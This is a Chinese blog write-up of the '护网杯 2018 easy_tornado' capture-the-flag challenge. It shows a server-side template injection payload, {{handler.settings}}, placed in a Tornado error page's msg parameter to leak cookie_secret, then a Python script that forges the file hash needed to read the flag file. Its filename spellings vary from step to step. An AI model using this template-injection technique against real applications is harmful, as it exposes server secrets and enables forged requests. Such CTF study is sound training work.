

[护网杯 2018]easy_tornado WriteUp

原创

Flabyss 于 2020-10-13 09:17:01 发布 106 收藏

文章标签: [web md5](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/fdl3183566040/article/details/109043821>

版权

[护网杯 2018]easy_tornado WriteUp

考察知识点

1.SSTI (服务器模板注入)

2.handler.settings

打开环境

[/flag.txt](#)
[/welcome.txt](#)
[/hints.txt](#)

我们发现了三个txt, 分别点开查看

[/flag.txt](#)
flag in /flllllllllag

[/welcome.txt](#)
render

[/hints.txt](#)
md5(cookie_secret+md5(filename))

可以出一些信息, flag就藏在/flllllllllag文件里

但是如何查看呢?

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201013085851335.png#pic_center)

02ea1932-f953-4c69-867c-97ab6d1c457d.node3.buuoj.cn/file?filename=/flag.txt&filehash=effa501153e0a5e

02ea1932-f953-4c69-867c-97ab6d1c457d.node3.buuoj.cn/file?filename=/welcome.txt&filehash=2750eb0ada

02ea1932-f953-4c69-867c-97ab6d1c457d.node3.buuoj.cn/file?filename=/hints.txt&filehash=e63d97bc2da0d{

根据前三个文件的暗示, 结合hint知道, 我们需要按照以下的形式传参:

file?filename=/flllllllllllag&filehash=md5(cookie_secret+md5(filename))

filename我们已经知道就是/f11111111lag，但是cookie_secre在哪呢？

尝试直接输入

02ea1932-f953-4c69-867c-97ab6d1c457d.node3.buuoj.cn/file?filename=/f11111111lag



Error

跳出了error，但是我们发现了error?msg=Error

说明还存在一个Error界面，这里就需要用到SSTI的知识。

我们修改Error尝试一下。



1

这里需要用到在tornado的知识，想了解的可以自行查询。

大概就是在tornado模板中，存在一些可以访问的快速对象，这里用到的是handler.settings， handler 指向RequestHandler，而 RequestHandler.settings又指向self.application.settings，所以handler.settings就指向RequestHandler.application.settings了，这里面就是我们的一些环境变量

修改error?msg={{handler.settings}}



<https://blog.csdn.net/fld3183566040>

成功获得cookie_secrect。接下来就是md5加密。

通过python脚本来解决。

```
import hashlib

def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode("utf-8"))#注意encode
    return md5.hexdigest()

def filehash():
    filename = "/f1111111111lag"
    cookie_secret = "38a566ba-2fd3-4df5-9d7f-56120bb983e8"
    print(md5(cookie_secret + md5(filename)))

filehash()
```

获得结果

a1ca671ba347c491e8a6e7bc11dee8e3

于是我们便得到了payload:

http://02ea1932-f953-4c69-867c-97ab6d1c457d.node3.buuoj.cn/file?filename=/f1111111111111ag&filehash=a1ca671ba347c491e8a6e7bc11dee8e3

The screenshot shows a Firefox browser window with the following details:

- Address Bar:** 02ea1932-f953-4c69-867c-97ab6d1c457d.node3.buuoj.cn/file?filename=/f1111111111111ag&filehash=a1ca671ba347c491e8a6e7bc11dee8e3
- Toolbar:** Back, Forward, Stop, Refresh, Home, and other standard browser icons.
- Menu Bar:** 火狐官方站点, 百度, 新手上路, 常用网址, 京东商城, 京东商城, 天猫, 微博, 携程旅行, 爱淘宝, 网址大全.
- Content Area:** Displays the URL of the current page: /f1111111111111ag
- Bottom Status Bar:** Shows the flag value: flag{ba444964-50bc-45d4-a3b2-a492ed044f19}

就酱^_^。